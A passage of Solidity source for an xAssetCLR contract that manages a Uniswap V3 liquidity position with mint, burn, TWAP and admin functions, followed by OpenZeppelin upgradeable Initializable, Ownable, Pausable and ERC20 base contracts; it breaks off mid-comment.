poolFee = 3000;
uniContracts = contracts;
token0.safeIncreaseAllowance(uniContracts.router, type(uint256).max);
token1.safeIncreaseAllowance(uniContracts.router, type(uint256).max);
token0.safeIncreaseAllowance(
uniContracts.positionManager,
type(uint256).max
);
token1.safeIncreaseAllowance(
uniContracts.positionManager,
type(uint256).max
);
UniswapLibrary.approveOneInch(token0, token1);
xTokenManager = IxTokenManager(_xTokenManagerAddress);
lastTwap = getAsset0Price();
twapPeriod = 3600;
}
/* ========================================================================================= */
/* User-facing */
/* ========================================================================================= */
/**
* @dev Mint xAssetCLR tokens by sending *amount* of *inputAsset* tokens
* @dev amount of the other asset is auto-calculated
*/
function mint(uint8 inputAsset, uint256 amount)
external
notLocked(msg.sender)
whenNotPaused()
{
require(amount > 0);
lock(msg.sender);
checkTwap();
(uint256 amount0, uint256 amount1) =
calculateAmountsMintedSingleToken(inputAsset, amount);
// Check if address has enough balance
uint256 token0Balance = token0.balanceOf(msg.sender);
uint256 token1Balance = token1.balanceOf(msg.sender);
if (amount0 > token0Balance || amount1 > token1Balance) {
amount0 = amount0 > token0Balance ? token0Balance : amount0;
amount1 = amount1 > token1Balance ? token1Balance : amount1;
(amount0, amount1) = calculatePoolMintedAmounts(amount0, amount1);
}
token0.safeTransferFrom(msg.sender, address(this), amount0);
token1.safeTransferFrom(msg.sender, address(this), amount1);
uint128 liquidityAmount =
getLiquidityForAmounts(amount0, amount1);
_mintInternal(liquidityAmount);
// stake tokens in pool
_stake(amount0, amount1);
}
/**
* @dev Burn *amount* of xAssetCLR tokens to receive proportional
* amount of pool tokens
*/
function burn(uint256 amount) external notLocked(msg.sender) {
require(amount > 0);
lock(msg.sender);
checkTwap();
uint256 totalLiquidity = getTotalLiquidity();
uint256 proRataBalance = amount.mul(totalLiquidity).div(totalSupply());
super._burn(msg.sender, amount);
(uint256 amount0, uint256 amount1) =
getAmountsForLiquidity(uint128(proRataBalance));
uint256 unstakeAmount0 = amount0.add(amount0.div(MINT_BURN_SLIPPAGE));
uint256 unstakeAmount1 = amount1.add(amount1.div(MINT_BURN_SLIPPAGE));
_unstake(unstakeAmount0, unstakeAmount1);
token0.safeTransfer(msg.sender, amount0);
token1.safeTransfer(msg.sender, amount1);
}
function transfer(address recipient, uint256 amount)
public
override
notLocked(msg.sender)
returns (bool)
{
return super.transfer(recipient, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override notLocked(sender) returns (bool) {
return super.transferFrom(sender, recipient, amount);
}
/**
* @notice Get Net Asset Value in terms of token 1
* @dev NAV = token 0 amt * token 0 price + token1 amt
*/
function getNav() public view returns (uint256) {
return getStakedBalance().add(getBufferBalance());
}
/**
* @dev Returns amount in terms of asset 0
* @dev amount * asset 1 price
*/
function getAmountInAsset0Terms(uint256 amount)
public
view
returns (uint256)
{
return
UniswapLibrary.getAmountInAsset0Terms(
amount,
uniContracts.pool,
twapPeriod,
token0Decimals,
token1Decimals,
tokenDiffDecimalMultiplier
);
}
/**
* @dev Returns amount in terms of asset 1
* @dev amount * asset 0 price
*/
function getAmountInAsset1Terms(uint256 amount)
public
view
returns (uint256)
{
return
UniswapLibrary.getAmountInAsset1Terms(
amount,
uniContracts.pool,
twapPeriod,
token0Decimals,
token1Decimals,
tokenDiffDecimalMultiplier
);
}
/**
* @notice Get balance in xAssetCLR contract
* @notice amount is represented in token 1 terms:
* @dev token 0 amt * token 0 price + token1 amt
*/
function getBufferBalance() public view returns (uint256) {
(uint256 balance0, uint256 balance1) = getBufferTokenBalance();
return getAmountInAsset1Terms(balance0).add(balance1);
}
/**
* @notice Get total balance in the position
* @notice amount is represented in token 1 terms:
* @dev token 0 amt * token 0 price + token1 amt
*/
function getStakedBalance() public view returns (uint256) {
(uint256 amount0, uint256 amount1) = getStakedTokenBalance();
return getAmountInAsset1Terms(amount0).add(amount1);
}
/**
* @notice Get token balances in xAssetCLR contract
* @dev returned balances are represented with 18 decimals
*/
function getBufferTokenBalance()
public
view
returns (uint256 amount0, uint256 amount1)
{
return (getBufferToken0Balance(), getBufferToken1Balance());
}
/**
* @notice Get token0 balance in xAssetCLR
* @dev returned balance is represented with 18 decimals
*/
function getBufferToken0Balance() public view returns (uint256 amount0) {
return getToken0AmountInWei(token0.balanceOf(address(this)));
}
/**
* @notice Get token1 balance in xAssetCLR
* @dev returned balance is represented with 18 decimals
*/
function getBufferToken1Balance() public view returns (uint256 amount1) {
return getToken1AmountInWei(token1.balanceOf(address(this)));
}
/**
* @notice Get token balances in the position
* @dev returned balance is represented with 18 decimals
*/
function getStakedTokenBalance()
public
view
returns (uint256 amount0, uint256 amount1)
{
(amount0, amount1) = getAmountsForLiquidity(getPositionLiquidity());
amount0 = getToken0AmountInWei(amount0);
amount1 = getToken1AmountInWei(amount1);
}
/**
* @notice Get total liquidity
* @dev buffer liquidity + position liquidity
*/
function getTotalLiquidity() public view returns (uint256 amount) {
(uint256 buffer0, uint256 buffer1) = getBufferTokenBalance();
uint128 bufferLiquidity = getLiquidityForAmounts(buffer0, buffer1);
uint128 positionLiquidity = getPositionLiquidity();
return uint256(bufferLiquidity).add(uint256(positionLiquidity));
}
/**
* @dev Check how much xAssetCLR tokens will be minted on mint
* @dev Uses position liquidity to calculate the amount
*/
function calculateMintAmount(uint256 _amount, uint256 totalSupply)
public
view
returns (uint256 mintAmount)
{
if (totalSupply == 0) return _amount;
uint256 previousLiquidity = getTotalLiquidity().sub(_amount);
mintAmount = (_amount).mul(totalSupply).div(previousLiquidity);
return mintAmount;
}
/* ========================================================================================= */
/* Management */
/* ========================================================================================= */
/**
* @dev Collect rewards from pool and stake them in position
* @dev may leave unstaked tokens in contract
*/
function collectAndRestake() external onlyOwnerOrManager {
(uint256 amount0, uint256 amount1) = collect();
(uint256 stakeAmount0, uint256 stakeAmount1) =
calculatePoolMintedAmounts(amount0, amount1);
_stake(stakeAmount0, stakeAmount1);
}
/**
* @dev Collect fees generated from position
*/
function collect()
public
onlyOwnerOrManager
returns (uint256 collected0, uint256 collected1)
{
(collected0, collected1) = collectPosition(
type(uint128).max,
type(uint128).max
);
emit FeeCollected(collected0, collected1);
}
/**
* @dev Migrate the current position to a new position with different ticks
*/
function migratePosition(int24 newTickLower, int24 newTickUpper)
public
onlyOwnerOrManager
{
require(newTickLower != tickLower || newTickUpper != tickUpper);
// withdraw entire liquidity from the position
(uint256 _amount0, uint256 _amount1) = withdrawAll();
// burn current position NFT
UniswapLibrary.burn(uniContracts.positionManager, tokenId);
// set new ticks and prices
tickLower = newTickLower;
tickUpper = newTickUpper;
priceLower = UniswapLibrary.getSqrtRatio(newTickLower);
priceUpper = UniswapLibrary.getSqrtRatio(newTickUpper);
(uint256 amount0, uint256 amount1) =
calculatePoolMintedAmounts(_amount0, _amount1);
// mint the position NFT and deposit the liquidity
// set new NFT token id
tokenId = createPosition(amount0, amount1);
}
/**
* @dev Migrate the current position to a new position with different ticks
* @dev Migrates position tick lower and upper by same amount of ticks
* @dev Tick spacing (minimum tick difference) in pool w/ 3000 fee is 60
* @param ticks how many ticks to shift up or down
* @param up whether to move tick range up or down
*/
function migrateParallel(uint24 ticks, bool up)
external
onlyOwnerOrManager
{
require(ticks != 0);
int24 newTickLower;
int24 newTickUpper;
int24 ticksToShift = int24(ticks) * 60;
if (up) {
newTickLower = tickLower + ticksToShift;
newTickUpper = tickUpper + ticksToShift;
} else {
newTickLower = tickLower - ticksToShift;
newTickUpper = tickUpper - ticksToShift;
}
migratePosition(newTickLower, newTickUpper);
}
/**
* @dev Mint function which initializes the pool position
* @dev Must be called before any liquidity can be deposited
*/
function mintInitial(uint256 amount0, uint256 amount1)
external
onlyOwnerOrManager
{
require(tokenId == 0);
require(amount0 > 0 || amount1 > 0);
checkTwap();
(uint256 amount0Minted, uint256 amount1Minted) =
calculatePoolMintedAmounts(amount0, amount1);
token0.safeTransferFrom(msg.sender, address(this), amount0Minted);
token1.safeTransferFrom(msg.sender, address(this), amount1Minted);
tokenId = createPosition(amount0Minted, amount1Minted);
uint256 liquidity =
uint256(getLiquidityForAmounts(amount0Minted, amount1Minted));
_mintInternal(liquidity);
}
/**
* @dev Admin function to stake tokens
* @dev used in case there's leftover tokens in the contract
*/
function adminRebalance() external onlyOwnerOrManager {
UniswapLibrary.adminRebalance(
UniswapLibrary.TokenDetails({
token0: address(token0),
token1: address(token1),
token0DecimalMultiplier: token0DecimalMultiplier,
token1DecimalMultiplier: token1DecimalMultiplier,
tokenDiffDecimalMultiplier: tokenDiffDecimalMultiplier,
token0Decimals: token0Decimals,
token1Decimals: token1Decimals
}),
UniswapLibrary.PositionDetails({
poolFee: poolFee,
twapPeriod: twapPeriod,
priceLower: priceLower,
priceUpper: priceUpper,
tokenId: tokenId,
positionManager: uniContracts.positionManager,
router: uniContracts.router,
quoter: uniContracts.quoter,
pool: uniContracts.pool
})
);
emit Rebalance();
}
/**
* @dev Admin function for staking in position
*/
function adminStake(uint256 amount0, uint256 amount1)
external
onlyOwnerOrManager
{
(uint256 stakeAmount0, uint256 stakeAmount1) =
calculatePoolMintedAmounts(amount0, amount1);
_stake(stakeAmount0, stakeAmount1);
}
/**
* @dev Admin function for unstaking from position
*/
function adminUnstake(uint256 amount0, uint256 amount1)
external
onlyOwnerOrManager
{
_unstake(amount0, amount1);
}
/**
* @dev Admin function for swapping LP tokens in xAssetCLR
* @param amount - swap amount (in t0 terms if _0for1 is true, in t1 terms if false)
* @param _0for1 - swap token 0 for 1 if true, token 1 for 0 if false
*/
function adminSwap(uint256 amount, bool _0for1)
external
onlyOwnerOrManager
{
if (_0for1) {
swapToken0ForToken1(amount.add(amount.div(SWAP_SLIPPAGE)), amount);
} else {
swapToken1ForToken0(amount.add(amount.div(SWAP_SLIPPAGE)), amount);
}
}
/**
* @dev Admin function for swapping LP tokens in xAssetCLR using 1inch v3 exchange
* @param minReturn - how much output tokens to receive on swap, in 18 decimals
* @param _0for1 - swap token 0 for token 1 if true, token 1 for token 0 if false
* @param _oneInchData - 1inch calldata, generated off-chain using their v3 api
*/
function adminSwapOneInch(
uint256 minReturn,
bool _0for1,
bytes memory _oneInchData
) external onlyOwnerOrManager {
UniswapLibrary.oneInchSwap(
minReturn,
_0for1,
UniswapLibrary.TokenDetails({
token0: address(token0),
token1: address(token1),
token0DecimalMultiplier: token0DecimalMultiplier,
token1DecimalMultiplier: token1DecimalMultiplier,
tokenDiffDecimalMultiplier: tokenDiffDecimalMultiplier,
token0Decimals: token0Decimals,
token1Decimals: token1Decimals
}),
_oneInchData
);
}
/**
* @dev Stake liquidity in position
*/
function _stake(uint256 amount0, uint256 amount1)
private
returns (uint256 stakedAmount0, uint256 stakedAmount1)
{
return
UniswapLibrary.stake(
amount0,
amount1,
uniContracts.positionManager,
tokenId
);
}
/**
* @dev Unstake liquidity from position
*/
function _unstake(uint256 amount0, uint256 amount1)
private
returns (uint256 collected0, uint256 collected1)
{
uint128 liquidityAmount = getLiquidityForAmounts(amount0, amount1);
(uint256 _amount0, uint256 _amount1) = unstakePosition(liquidityAmount);
return collectPosition(uint128(_amount0), uint128(_amount1));
}
/**
* @dev Withdraws all current liquidity from the position
*/
function withdrawAll()
private
returns (uint256 _amount0, uint256 _amount1)
{
// Collect fees
collect();
(_amount0, _amount1) = unstakePosition(getPositionLiquidity());
collectPosition(uint128(_amount0), uint128(_amount1));
}
/**
* @dev Creates the NFT token representing the pool position
* @dev Mint initial liquidity
*/
function createPosition(uint256 amount0, uint256 amount1)
private
returns (uint256 _tokenId)
{
UniswapLibrary.TokenDetails memory tokenDetails =
UniswapLibrary.TokenDetails({
token0: address(token0),
token1: address(token1),
token0DecimalMultiplier: token0DecimalMultiplier,
token1DecimalMultiplier: token1DecimalMultiplier,
tokenDiffDecimalMultiplier: tokenDiffDecimalMultiplier,
token0Decimals: token0Decimals,
token1Decimals: token1Decimals
});
UniswapLibrary.PositionDetails memory positionDetails =
UniswapLibrary.PositionDetails({
poolFee: poolFee,
twapPeriod: twapPeriod,
priceLower: priceLower,
priceUpper: priceUpper,
tokenId: tokenId,
positionManager: uniContracts.positionManager,
router: uniContracts.router,
quoter: uniContracts.quoter,
pool: uniContracts.pool
});
return
UniswapLibrary.createPosition(
amount0,
amount1,
uniContracts.positionManager,
tokenDetails,
positionDetails
);
}
/**
* @dev Unstakes a given amount of liquidity from the Uni V3 position
* @param liquidity amount of liquidity to unstake
* @return amount0 token0 amount unstaked
* @return amount1 token1 amount unstaked
*/
function unstakePosition(uint128 liquidity)
private
returns (uint256 amount0, uint256 amount1)
{
UniswapLibrary.PositionDetails memory positionDetails =
UniswapLibrary.PositionDetails({
poolFee: poolFee,
twapPeriod: twapPeriod,
priceLower: priceLower,
priceUpper: priceUpper,
tokenId: tokenId,
positionManager: uniContracts.positionManager,
router: uniContracts.router,
quoter: uniContracts.quoter,
pool: uniContracts.pool
});
return UniswapLibrary.unstakePosition(liquidity, positionDetails);
}
function _mintInternal(uint256 _amount) private {
uint256 mintAmount = calculateMintAmount(_amount, totalSupply());
return super._mint(msg.sender, mintAmount);
}
/*
* Emergency function in case of errant transfer
* of any token directly to contract
*/
function withdrawToken(address token, address receiver)
external
onlyOwnerOrManager
{
require(token != address(token0) && token != address(token1));
uint256 tokenBal = IERC20(address(token)).balanceOf(address(this));
IERC20(address(token)).safeTransfer(receiver, tokenBal);
}
/**
* Mint xAsset tokens using underlying
* xAsset contract needs to be approved
* @param amount amount to mint
* @param isToken0 if true, call mint on token0, else on token1
*/
function adminMint(uint256 amount, bool isToken0) external onlyOwnerOrManager {
if(isToken0) {
IxAsset(address(token0)).mintWithToken(amount);
} else {
IxAsset(address(token1)).mintWithToken(amount);
}
}
/**
* Burn xAsset tokens using underlying
* @param amount amount to burn
* @param isToken0 if true, call burn on token0, else on token1
*/
function adminBurn(uint256 amount, bool isToken0) external onlyOwnerOrManager {
if(isToken0) {
IxAsset(address(token0)).burn(amount, false, 1);
} else {
IxAsset(address(token1)).burn(amount, false, 1);
}
}
/**
* Approve underlying token to xAsset tokens
* @param isToken0 if token 0 is xAsset token, set to true, otherwise false
*/
function adminApprove(bool isToken0) external onlyOwnerOrManager {
if(isToken0) {
token1.safeApprove(address(token0), type(uint256).max);
} else {
token0.safeApprove(address(token1), type(uint256).max);
}
}
function pauseContract() external onlyOwnerOrManager returns (bool) {
_pause();
return true;
}
function unpauseContract() external onlyOwnerOrManager returns (bool) {
_unpause();
return true;
}
modifier onlyOwnerOrManager {
require(
msg.sender == owner() ||
xTokenManager.isManager(msg.sender, address(this)),
"Function may be called only by owner or manager"
);
_;
}
/* ========================================================================================= */
/* Uniswap helpers */
/* ========================================================================================= */
/**
* @dev Swap token 0 for token 1 in xAssetCLR using Uni V3 Pool
* @dev amounts should be in 18 decimals
* @param amountIn - amount as maximum input for swap, in token 0 terms
* @param amountOut - amount as output for swap, in token 0 terms
*/
function swapToken0ForToken1(uint256 amountIn, uint256 amountOut) private {
UniswapLibrary.swapToken0ForToken1(
amountIn,
amountOut,
UniswapLibrary.PositionDetails({
poolFee: poolFee,
twapPeriod: twapPeriod,
priceLower: priceLower,
priceUpper: priceUpper,
tokenId: tokenId,
positionManager: uniContracts.positionManager,
router: uniContracts.router,
quoter: uniContracts.quoter,
pool: uniContracts.pool
}),
UniswapLibrary.TokenDetails({
token0: address(token0),
token1: address(token1),
token0DecimalMultiplier: token0DecimalMultiplier,
token1DecimalMultiplier: token1DecimalMultiplier,
tokenDiffDecimalMultiplier: tokenDiffDecimalMultiplier,
token0Decimals: token0Decimals,
token1Decimals: token1Decimals
})
);
}
/**
* @dev Swap token 1 for token 0 in xAssetCLR using Uni V3 Pool
* @dev amounts should be in 18 decimals
* @param amountIn - amount as maximum input for swap, in token 1 terms
* @param amountOut - amount as output for swap, in token 1 terms
*/
function swapToken1ForToken0(uint256 amountIn, uint256 amountOut) private {
UniswapLibrary.swapToken1ForToken0(
amountIn,
amountOut,
UniswapLibrary.PositionDetails({
poolFee: poolFee,
twapPeriod: twapPeriod,
priceLower: priceLower,
priceUpper: priceUpper,
tokenId: tokenId,
positionManager: uniContracts.positionManager,
router: uniContracts.router,
quoter: uniContracts.quoter,
pool: uniContracts.pool
}),
UniswapLibrary.TokenDetails({
token0: address(token0),
token1: address(token1),
token0DecimalMultiplier: token0DecimalMultiplier,
token1DecimalMultiplier: token1DecimalMultiplier,
tokenDiffDecimalMultiplier: tokenDiffDecimalMultiplier,
token0Decimals: token0Decimals,
token1Decimals: token1Decimals
})
);
}
/**
* @dev Collect token amounts from pool position
*/
function collectPosition(uint128 amount0, uint128 amount1)
private
returns (uint256 collected0, uint256 collected1)
{
return
UniswapLibrary.collectPosition(
amount0,
amount1,
tokenId,
uniContracts.positionManager
);
}
/**
* @dev Change pool fee and address
*/
function changePool(address _poolAddress, uint24 _poolFee)
external
onlyOwnerOrManager
{
uniContracts.pool = _poolAddress;
poolFee = _poolFee;
}
// Returns the current liquidity in the position
function getPositionLiquidity() public view returns (uint128 liquidity) {
return
UniswapLibrary.getPositionLiquidity(
uniContracts.positionManager,
tokenId
);
}
/**
* @dev Get asset 0 twap
* @dev Uses Uni V3 oracle, reading the TWAP from twap period
* @dev or the earliest oracle observation time if twap period is not set
*/
function getAsset0Price() public view returns (int128) {
return
UniswapLibrary.getAsset0Price(
uniContracts.pool,
twapPeriod,
token0Decimals,
token1Decimals,
tokenDiffDecimalMultiplier
);
}
/**
* @dev Get asset 1 twap
* @dev Uses Uni V3 oracle, reading the TWAP from twap period
* @dev or the earliest oracle observation time if twap period is not set
*/
function getAsset1Price() public view returns (int128) {
return
UniswapLibrary.getAsset1Price(
uniContracts.pool,
twapPeriod,
token0Decimals,
token1Decimals,
tokenDiffDecimalMultiplier
);
}
/**
* @dev Checks if twap deviates too much from the previous twap
*/
function checkTwap() private {
lastTwap = UniswapLibrary.checkTwap(
uniContracts.pool,
twapPeriod,
token0Decimals,
token1Decimals,
tokenDiffDecimalMultiplier,
lastTwap,
maxTwapDeviationDivisor
);
}
/**
* @dev Reset last twap if oracle price is consistently above the max deviation
*/
function resetTwap() external onlyOwnerOrManager {
lastTwap = getAsset0Price();
}
/**
* @dev Set the max twap deviation divisor
* @dev if twap moves more than the divisor specified
* @dev mint, burn and mintInitial functions are locked
*/
function setMaxTwapDeviationDivisor(uint256 newDeviationDivisor)
external
onlyOwnerOrManager
{
maxTwapDeviationDivisor = newDeviationDivisor;
}
/**
* @dev Set the oracle reading twap period
* @dev Twap used is [now - twapPeriod, now]
*/
function setTwapPeriod(uint32 newPeriod) external onlyOwnerOrManager {
require(newPeriod >= 360);
twapPeriod = newPeriod;
}
/**
* @dev Calculates the amounts deposited/withdrawn from the pool
* amount0, amount1 - amounts to deposit/withdraw
* amount0Minted, amount1Minted - actual amounts which can be deposited
*/
function calculatePoolMintedAmounts(uint256 amount0, uint256 amount1)
public
view
returns (uint256 amount0Minted, uint256 amount1Minted)
{
uint128 liquidityAmount = getLiquidityForAmounts(amount0, amount1);
(amount0Minted, amount1Minted) = getAmountsForLiquidity(
liquidityAmount
);
}
/**
* @dev Calculates single-side minted amount
* @param inputAsset - use token0 if 0, token1 else
* @param amount - amount to deposit/withdraw
*/
function calculateAmountsMintedSingleToken(uint8 inputAsset, uint256 amount)
public
view
returns (uint256 amount0Minted, uint256 amount1Minted)
{
uint128 liquidityAmount;
if (inputAsset == 0) {
liquidityAmount = getLiquidityForAmounts(amount, type(uint112).max);
} else {
liquidityAmount = getLiquidityForAmounts(type(uint112).max, amount);
}
(amount0Minted, amount1Minted) = getAmountsForLiquidity(
liquidityAmount
);
}
function getLiquidityForAmounts(uint256 amount0, uint256 amount1)
public
view
returns (uint128 liquidity)
{
liquidity = UniswapLibrary.getLiquidityForAmounts(
amount0,
amount1,
priceLower,
priceUpper,
uniContracts.pool
);
}
function getAmountsForLiquidity(uint128 liquidity)
public
view
returns (uint256 amount0, uint256 amount1)
{
(amount0, amount1) = UniswapLibrary.getAmountsForLiquidity(
liquidity,
priceLower,
priceUpper,
uniContracts.pool
);
}
/**
* @dev Get lower and upper ticks of the pool position
*/
function getTicks() external view returns (int24 tick0, int24 tick1) {
return (tickLower, tickUpper);
}
/**
* Returns token0 amount in TOKEN_DECIMAL_REPRESENTATION
*/
function getToken0AmountInWei(uint256 amount)
private
view
returns (uint256)
{
return
UniswapLibrary.getToken0AmountInWei(
amount,
token0Decimals,
token0DecimalMultiplier
);
}
/**
* Returns token1 amount in TOKEN_DECIMAL_REPRESENTATION
*/
function getToken1AmountInWei(uint256 amount)
private
view
returns (uint256)
{
return
UniswapLibrary.getToken1AmountInWei(
amount,
token1Decimals,
token1DecimalMultiplier
);
}
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../../utils/ContextUpgradeable.sol";
import "./IERC20Upgradeable.sol";
import "../../math/SafeMathUpgradeable.sol";
import "../../proxy/Initializable.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable {
using SafeMathUpgradeable for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
